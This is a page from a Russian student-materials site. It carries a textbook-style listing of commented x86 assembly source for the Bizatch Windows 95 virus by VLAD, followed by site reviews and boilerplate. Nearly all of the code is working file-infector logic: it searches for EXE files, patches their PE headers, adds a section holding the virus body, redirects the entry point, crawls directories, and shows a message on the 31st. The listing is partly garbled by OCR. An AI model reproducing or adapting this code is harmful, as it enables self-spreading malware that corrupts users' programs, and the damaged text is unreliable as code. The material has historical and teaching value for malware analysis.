25642-1 (751123), страница 4

Файл №751123 25642-1 (Вирусы под Windows) 4 страница25642-1 (751123) страница 42016-08-02СтудИзба
Просмтор этого файла доступен только зарегистрированным пользователям. Но у нас супер быстрая регистрация: достаточно только электронной почты!

Текст из файла (страница 4)

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax, [ebp+offset fullname]

push eax

call CreateFile

.Сохраним описатель файла

mov dword ptr [ebp+offset ahandj.eax


Проверим, не произошла ли ошибка.
.Если ошибка произошла, ищем следующий файл

стр еах,-1

jz findnextone

.Поставим указатель позиции чтения/записи на поле
;со смещением РЕ-заголовка

push О

push О

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем адрес РЕ-заголовка
push О

lea eax,[ebp+offset bytesread]
push eax
push 4

lea eax,[ebp+offset peheaderoffset]
push eax

push dword ptr [ebp+offset ahand]
call ReadFile

.Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов

push О

lea eax, [ebp+offset bytesread]

push eax

push 58h

lea eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

[Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий


cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

.Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],OFOODh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

[Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

;Считаем весь РЕ-заголовок и таблицу объектов
push О

lea eax, [ebp+offset bytesread]
push eax

push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax

push dword ptr [ebp+offset ahand]
call ReadFile

[Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],OFOODh

[Найдем смещение таблицы объектов
xor eax.eax

mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax

[Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax.eax

mov ax,[ebp+offset numObj]
mov ecx.40


xor edx.edx

mul ecx

add esi.eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi.esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта

mov eax, [edi-5*8+8]

add eax,[edi-5*8+12]

mov ecx.dword ptr [ebp+offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта
mov ecx.dword ptr [ebp+offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax

.Вычислим виртуальный размер нового объекта
mov ecx.dword ptr [ebp+offset objalign]
mov eax.vend-vstart+tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax

; Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx.dword ptr [ebp+offset filealign]
xor edx.edx
div ecx


inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

[Обновим размер образа (размер в памяти) файла

mov eax,vend-vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx, [ebp+offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

.Скопируем новый объект в таблицу объектов

mov ecx, 10

rep movsd

[Вычислим точку входа RVA

mov eax.dword ptr [ebp+offset RVA]

mov ebx.dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax.ebx

add eax,5

[Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax

[Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

[Запишем РЕ-заголовок и таблицу объектов в файл
push О

lea eax, [ebp+offset bytesread]
push eax

push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax

push dword ptr [ebp+offset ahand]
call WriteFile


[Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

[Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта

push О

push О

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;3апишем тело вируса в новый объект
push О

lea eax,[ebp+offset bytesread]
push eax

push vend-vstart
lea eax, [ebp+offset vstart]
push eax

push dword ptr [ebp+offset ahand]
call WriteFile

[Закроем файл
notape:

push dword ptr [ebp+offset ahand]

call CloseFile

[Переход к следующему файлу
findnextone:

[Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий

cmp byte ptr [ebp+offset countinfect],3

jz outty

;Ищем следующий файл

lea eax, [ebp+offset win32_data_thang]
push eax

push dword ptr [ebp+offset searchhandle]
call FindNext

.Если файл найден, переходим к заражению
or eax.eax
jnz gofile


;Сюда попадаем, если файл не найден
foundnothing:

;Сменим директорию
хог еах.еах

lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd

lea edi,[ebp+offset tempdirl]
mov ecx.256/4
rep stosd

Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir

.Сменим директорию на "."

lea eax,[ebp+offset dotdot]

push eax

call SetCurDir

;Получим текущую директорию
lea edi,[ebp+offset tempdirl]
push edi
push 255
call GetCurDir

Проверим, корневая ли это директория. Если да, то выходим
mov есх.256/4
rep cmpsd
jnz infectdir

;"3аметаем следы" и выходим в программу-носитель
outty:

;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir

Получим текущую дату и время

lea eax,[ebp+offset systimestruct]


push eax
call GetTime

Проверим число. Если это 31-ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload

.Сообщение для пользователя

push 1000h ;MB_SYSTEMMODAL

lea eax, [ebp+offset boxtitle]

push eax

lea eax, [ebp+offset boxmsg]

push eax

push 0

call MsgBox

; Выход в программу-носитель
nopayload:

pop eax

jmp eax

;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd OBFF93B95h

;3начения KERNEL, известные нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh

;Чтение текущей директории
GetCurDir:

;3апишем в стек значение для получения текущей
директории и вызовем KERNEL

push OBFF77744h

jmp [ebp+offset kern]

.Установка текущей директории
SetCurDir:

;3апишем в стек значение для установки текущей
директории и вызовем KERNEL

push OBFF7771Dh

jmp [ebp+offset kern]


[Получение времени и даты
GetTime:

Проверим, какой KERNEL работает
cmp [ebp+offset kern],OBFF93B95h
jnz gettimekern2

;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL

push OBFF9DOB6h

jmp [ebp+offset kern]
gettimekern2:

;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL

push OBFF9D-l4Eh

jmp [ebp+offset kern]

;Вывод сообщения
MsgBox:

.Запишем в стек значение для вывода сообщения и вызовем KERNEL
push OBFF638D9h
jmp [ebp+offset kern]

.Поиск первого файла
FindFile:

;3апишем в стек значение для поиска первого файла
;и вызовем KERNEL

push OBFF77893h

jmp [ebp+offset kern]

; Поиск следующего файла
FindNext:

;3апишем в стек значение для поиска
[следующего файла и вызовем KERNEL

push OBFF778CBh

jmp [ebp+offset kern]

[Открытие/создание файла
CreateFile:


;3апишем в стек значение для открытия/создания файла
;и вызовем KERNEL

push OBFF77817h

jmp [ebp+offset kern]

[Установка указателя чтения/записи
SetFilePointer:

;3апишем в стек значение для установки
.указателя чтения/записи файла и вызовем KERNEL

push OBFF76FAOh

jmp [ebp+offset kern]

;Чтение из файла
ReadFile:

;3апишем в стек значение для чтения из файла и вызовем KERNEL
push OBFF75806h
jmp [ebp+offset kern]

;3апись в файл
WriteFile:

;3апишем в стек значение для записи в файл и вызовем KERNEL
push OBFF7580Dh
jmp [ebp+offset kern]

;3акрытие файла
CloseFile:

;3апишем в стек значение для закрытия файла и вызовем KERNEL
push OBFF7BC72h
jmp [ebp+offset kern]

;Счетчик заражений
countinfect db 0

Используется для поиска файлов
win32_data_thang:

fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0


resv dd 0,0

fullname db 256 dup (0)

realname db 256 dup (0)

;Имя сообщения, выводимого 31-го числа
boxtitle db "Bizatch by Quantum / VLAD",0

.-Сообщение, выводимое 31-го числа
boxmsg db "The taste of fame just got tastier!",Odh

db "VLAD Australia does it again with the world"s first Win95 Virus"

db Odh.Odh

db 9."From the old school to the new. ".Odh.Odh

db 9,"Metabolis",Odh

db 9,"Qark",Odh

db 9,"Darkman",Odh

db 9,"Quantum",Odh

db 9,"CoKe",0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"

db "written by Quantum of VLAD",0

Данные о директориях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0)

Используется для смены директории
dotdot db ".",0

Используется для получения времени/даты
systimestruct:

dw 0,0,0
day dw 0

dw 0,0,0,0

;Индекс для поиска файлов
searchhandle dd О

;Маска для поиска
fname db "*.exe",0

; Описатель открытого файла
ahand dd О

;Смещение РЕ-заголовка в файле
peheaderoffset dd О


[Смещение таблицы объектов
ObjectTableoffset dd О

[Количество записанных/считанных байт при работе с файлом
bytesread dd О

.Новый объект
newobject:

oname db ".vlad",0,0,0
virtualsize dd 0
RVA dd 0

physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,OCOh

Данные, необходимые для заражения файла
peheader:

signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0

;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов
vend:

db -lOOOh dup (0)
ends
end vstart

Характеристики

Тип файла
Документ
Размер
228,51 Kb
Тип материала
Учебное заведение
Неизвестно

Список файлов доклада

Свежие статьи
Популярно сейчас
Как Вы думаете, сколько людей до Вас делали точно такое же задание? 99% студентов выполняют точно такие же задания, как и их предшественники год назад. Найдите нужный учебный материал на СтудИзбе!
Ответы на популярные вопросы
Да! Наши авторы собирают и выкладывают те работы, которые сдаются в Вашем учебном заведении ежегодно и уже проверены преподавателями.
Да! У нас любой человек может выложить любую учебную работу и зарабатывать на её продажах! Но каждый учебный материал публикуется только после тщательной проверки администрацией.
Вернём деньги! А если быть более точными, то автору даётся немного времени на исправление, а если не исправит или выйдет время, то вернём деньги в полном объёме!
Да! На равне с готовыми студенческими работами у нас продаются услуги. Цены на услуги видны сразу, то есть Вам нужно только указать параметры и сразу можно оплачивать.
Отзывы студентов
Ставлю 10/10
Все нравится, очень удобный сайт, помогает в учебе. Кроме этого, можно заработать самому, выставляя готовые учебные материалы на продажу здесь. Рейтинги и отзывы на преподавателей очень помогают сориентироваться в начале нового семестра. Спасибо за такую функцию. Ставлю максимальную оценку.
Лучшая платформа для успешной сдачи сессии
Познакомился со СтудИзбой благодаря своему другу, очень нравится интерфейс, количество доступных файлов, цена, в общем, все прекрасно. Даже сам продаю какие-то свои работы.
Студизба ван лав ❤
Очень офигенный сайт для студентов. Много полезных учебных материалов. Пользуюсь студизбой с октября 2021 года. Серьёзных нареканий нет. Хотелось бы, что бы ввели подписочную модель и сделали материалы дешевле 300 рублей в рамках подписки бесплатными.
Отличный сайт
Лично меня всё устраивает - и покупка, и продажа; и цены, и возможность предпросмотра куска файла, и обилие бесплатных файлов (в подборках по авторам, читай, ВУЗам и факультетам). Есть определённые баги, но всё решаемо, да и администраторы реагируют в течение суток.
Маленький отзыв о большом помощнике!
Студизба спасает в те моменты, когда сроки горят, а работ накопилось достаточно. Довольно удобный сайт с простой навигацией и огромным количеством материалов.
Студ. Изба как крупнейший сборник работ для студентов
Тут дофига бывает всего полезного. Печально, что бывают предметы по которым даже одного бесплатного решения нет, но это скорее вопрос к студентам. В остальном всё здорово.
Спасательный островок
Если уже не успеваешь разобраться или застрял на каком-то задание поможет тебе быстро и недорого решить твою проблему.
Всё и так отлично
Всё очень удобно. Особенно круто, что есть система бонусов и можно выводить остатки денег. Очень много качественных бесплатных файлов.
Отзыв о системе "Студизба"
Отличная платформа для распространения работ, востребованных студентами. Хорошо налаженная и качественная работа сайта, огромная база заданий и аудитория.
Отличный помощник
Отличный сайт с кучей полезных файлов, позволяющий найти много методичек / учебников / отзывов о вузах и преподователях.
Отлично помогает студентам в любой момент для решения трудных и незамедлительных задач
Хотелось бы больше конкретной информации о преподавателях. А так в принципе хороший сайт, всегда им пользуюсь и ни разу не было желания прекратить. Хороший сайт для помощи студентам, удобный и приятный интерфейс. Из недостатков можно выделить только отсутствия небольшого количества файлов.
Спасибо за шикарный сайт
Великолепный сайт на котором студент за не большие деньги может найти помощь с дз, проектами курсовыми, лабораторными, а также узнать отзывы на преподавателей и бесплатно скачать пособия.
Популярные преподаватели
Добавляйте материалы
и зарабатывайте!
Продажи идут автоматически
7027
Авторов
на СтудИзбе
260
Средний доход
с одного платного файла
Обучение Подробнее